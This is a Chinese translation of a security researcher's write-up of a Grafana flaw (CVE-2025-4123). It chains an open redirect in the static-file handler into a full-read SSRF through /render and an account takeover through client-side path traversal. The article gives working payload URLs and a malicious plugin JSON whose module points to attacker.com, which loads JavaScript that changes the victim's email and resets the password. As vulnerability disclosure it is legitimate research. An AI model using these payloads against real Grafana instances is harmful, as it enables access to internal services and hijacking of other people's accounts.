前言
当 Web 应用程序采用 URL 参数并将用户重定向到指定的 URL 而不对其进行验证时,就会发生开放重定向。
/redirect?url=https://evil.com
–> (302 重定向) –> https://evil.com
这本身可能看起来并不危险,但这种类型的漏洞是发现两个独立漏洞的起点:完全读取 SSRF 和帐户接管。
本文就来详细讲解如何找到这两个漏洞的完整过程。
为什么选择Grafana
Grafana 是一个开源分析平台,主要使用 Go 和 TypeScript 构建,用于可视化来自 Prometheus 和 InfluxDB 等来源的数据。
在这个 Web 应用程序中能够找到漏洞将是一个很好的挑战,因此白帽小哥下载了源代码并开始调试——尽管这是小哥第一次使用 Go,他仍然决定专注于应用程序中未经身份验证的部分。
入口点
查看 api/api.go 中定义的所有未经身份验证的端点:
...
// not logged in views
r.Get("/logout", hs.Logout)
r.Post("/login", requestmeta.SetOwner(requestmeta.TeamAuth), quota(string...
r.Get("/login/:name", quota(string(auth.QuotaTargetSrv)), hs.OAuthLogin)
r.Get("/login", hs.LoginView)
r.Get("", hs.Index)
// authed views
r.Get("/", reqSignedIn, hs.Index)
r.Get("/profile/", reqSignedInNoAnonymous, hs.Index)
...
功能性
一个负责处理静态路由的函数成功引起了白帽小哥的注意:
func staticHandler(ctx *web.Context, log log.Logger, opt StaticOptions) bool {
if ctx.Req.Method != "GET" && ctx.Req.Method != "HEAD" {
return false
}
file := ctx.Req.URL.Path
for _, p := range opt.Exclude {
if file == p {
return false
}
}
// if we have a prefix, filter requests by stripping the prefix
if opt.Prefix != "" {
if !strings.HasPrefix(file, opt.Prefix) {
return false
}
file = file[len(opt.Prefix):]
if file != "" && file[0] != '/' {
return false
}
}
f, err := opt.FileSystem.Open(file)
if err != nil {
return false
}
..............
}
该函数用于根据用户输入从系统中检索文件,白帽小哥第一个想法是尝试使用路径遍历来加载任意文件,例如 ../
大法或类似技巧。
如果请求 /public/file/../../../name
时,路径将被清理并解析为 /staticfiles/etc/etc/name
,从而有效地阻止对预期目录之外的非法访问。
此外,如果解析的最终路径指向文件夹, 则 StaticHandler 函数会检查其中的默认文件 — 通常从该目录提供 /index.html
。
if fi.IsDir() {
// Redirect if missing trailing slash.
if !strings.HasSuffix(ctx.Req.URL.Path, "/") {
path := fmt.Sprintf("%s/", ctx.Req.URL.Path)
if !strings.HasPrefix(path, "/") {
// Disambiguate that it's a path relative to this server
path = fmt.Sprintf("/%s", path)
} else {
// A string starting with // or /\ is interpreted by browsers as a URL, and not a server relative path
rePrefix := regexp.MustCompile(`^(?:/\\|/+)`)
path = rePrefix.ReplaceAllString(path, "/")
}
http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)
return true
}
file = path.Join(file, opt.IndexFile)
indexFile, err := opt.FileSystem.Open(file)
....
}
如上所见,如果最终文件是一个目录,并且提供的路由 (/public/build)
不以 / 结尾,则服务器将重定向到同一路径,并z在尾部附加 /。
GET /public/build HTTP/1.1
Host: 192.168.100.2:3000
HTTP/1.1 302 Found
Location: /public/build/
这种重定向行为是开放重定向漏洞发生的地方,因此接下来深入研究一下。
目标
假设有一个场景,应用程序根据提供的路由进行重定向,因此最终的重定向 URL 将始终以 / 开头。
那么我们的目标是创建一个路由,当请求时,该路由会重定向到以 / 开头的有效完整 URL,例如:
-
attacker.com/...
–> 表示协议相对 URL,它使用与当前页面相同的协议 (HTTPS) -
/\attacker.com/…–> /\ 会执行相同的操作
问题及解决方案
要实现重定向功能,我们需要一个以 /public/
开头的路由,并在传递给 opt
时,FileSystem.Open(file)
将其解析为有效目录。
从 /public/\attacker.com/../..
开始,它解析为空字符串 " "
,然后附加到 /staticfiles/etc/etc/
, 触发 if fi.isDir(){}
代码流。
/public/\attacker.com/../..-->
/\attacker.com/../.. --> "" -->
/staticfiles/etc/etc/+"" --> fi.isDir() TRUE
现在,有一种方法可以将任何Payload注入,它将被opt.FileSystem.Open(file)
解释为一个文件夹。
一旦进入 isDir()
处理部分,/public/\attacker.com/../..
路径就会到达 http.Redirect()
函数,问题在于,此函数还会解析路径,这会导致重定向路径为/
。
if fi.IsDir() {
...
//path is "/public/\attacker.com/../.." but the final redirect is "/"
http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)
return true
...
}
如果请求 /public/\attacker.com/../..
GET /public/\attacker.com/../.. HTTP/1.1
Host: 192.168.100.2:3000
HTTP/1.1 302 Found
Location: /
因此我们需要创建一条路径,其中在加载文件时,/../../..
通过 opt.FileSystem.Open(file)
被解析,但在执行重定向时,http.Redirect()
中仍然未解析。
在每种情况下,路径的解析方式都不同:
-
opt.FileSystem.Open(file)
预期为一个系统文件 -
http.Redirect(path)
预期为一个 URL 路径 -
opt.FileSystem.Open(file)
将?
视为普通字符 -
http 的 Redirect(path)
将?
解析为 URL 参数的开头
这意味着 /public/\attacker.com/?/../../../..
将被如下处理,
在 opt.FileSystem.Open()
— >
/public/\attacker.com/?/../../../..
将被解析为""
->/staticfiles/etc/etc/
+""
有效文件夹。
在 http.redirect()
→
/public/\attacker.com/?/../../../..
–> 后面的任何内容?
都被视为查询字符串,而不是作为路径的一部分进行解析。
请求 ?
-> %3f
:
GET /public/\attacker.com/%3f/../.. HTTP/1.1
Host: 192.168.100.2:3000
HTTP/1.1 302 Found
Location: /public/\attacker.com/?/../../
最终 Payload
该 URL /public/\attacker.com/?/../../../..
需要解析为以 /\
开头的完整 URL。
使用路径: /public/../\attacker.com/?/../../../..
,当 http.Redirect()
解析路径 时,会删除 /public
部分。
GET /public/../\attacker.com/%3f/../../../../../.. HTTP/1.1
Host: 192.168.100.2:3000
HTTP/1.1 302 Found
Location: /\attacker.com/?/../../../../../../
流程示意图:
完整读取 SSRF
开放重定向本身不会产生任何严重的安全影响,因此需要将其与另一个功能链接起来。
Grafana 有一个名为 /render
的端点,用于根据提供的路径生成图像。
// rendering
r.Get("/render/*", requestmeta.SetSLOGroup(requestmeta.SLOGroupHighSlow), reqSignedIn, hs.RenderHandler)
此端点使用无头浏览器来呈现用户指定的路由的 HTML,它只接受相对 URL 路径 /route
,不接受绝对 URL https://...
。
但是,如果使用找到的 open redirect 重定向到内部服务呢?
首先,尝试将 /render/public/..%252f%255Cgoogle.es%252f%253F%252f..%252f.. google.es
:
然后,设置了一个无法从外部访问的内部服务:
尝试用 /render/public/..%252f%255C127.0.0.1:1234%252f%253F%252f..%252f.. 127.0.0.1:1234
:
通过该漏洞,便能够完全读取内部服务,由于浏览器用于渲染,因此我们甚至可以通过制作面向内部服务的表单来发送 POST 请求。
此外,该漏洞的前提需要登录才能利用,因此我们在未登录的前提下无法从中获得任何东西。
通过 XSS 进行帐户接管
客户端路径遍历
Grafana 的 Client 端代码的很大一部分允许 Client 端路径遍历。
例如,当在浏览器中加载 /invite/1
时,JavaScript 会向 /api/user/invite/1
发出请求以检索邀请信息。
但是,如果加载 /invite/..%2f..%2f..%2f..%2froute
,则 JavaScript 会解析路径遍历并最终加载 /route
。
这创造了一个完美的场景来强制 JavaScript 加载开放重定向,而该重定向反过来会从我们的服务器获取一个特别定制的JSON。
但首先,我们需要找到一个以不安全的方式加载内容的端点,并利用它来执行 JavaScript。
加载恶意 javascript 文件
可以使用 /a/plugin-app/explore
加载和管理插件应用程序。
此功能的 JavaScript 从 URL 中提取插件应用程序名称,并使用它从 /api/plugins/plugin-app/settings
请求插件信息。
/api/plugins/plugin-app/settings
内容如下:
{
"name": "plugin-app",
"type": "app",
"id": "plugin-app",
"enabled": true,
"pinned": true,
"autoEnabled": true,
"module": "/modules/..../plugin-app.js", //js file to load
"baseUrl": "public/plugins/grafana-lokiexplore-app",
"info": {
"author": {
"name": "Grafana"
...
}
}
...
}
/a/plugin-app/explore
加载该文件,并执行 “module” 参数中提供的 JavaScript。
/a/plugin-app/explore
容易受到客户端路径遍历的影响,这允许我们在服务器上加载任意路由,而不是 /api/plugin-app/settings
。
这允许我们加载打开的重定向,因此,获取自己的恶意 JSON,其中包含了我们想要的任何 JavaScript 文件。
通过利用所有必要的 JS 和 JSON 文件设置我们自己的服务器。只需要托管如下 JSON :
{
"name": "ExploitPluginReq",
"type": "app",
"id": "grafana-lokiexplore-app",
"enabled": true,
"pinned": true,
"autoEnabled": true,
"module": "http://attacker.com/file?js=file", //malicious js file
"baseUrl": "public/plugins/grafana-lokiexplore-app",
"info": {
"author": {...}
}
...
}
加载此路由, /a/..%2f..%2f..%2fpublic%2f..%252f%255Cattacker.com%252f%253Fp%252f..%252f..%23/explore
,从而利用客户端路径遍历和开放重定向。
结果展示:
恶意 JavaScript 文件被执行,并允许我们更改受害者的电子邮件并重置他们的密码。
希望本文能给你更多启发~
原文:https://medium.com/@Nightbloodz/grafana-cve-2025-4123-full-read-ssrf-account-takeover-d12abd13cd53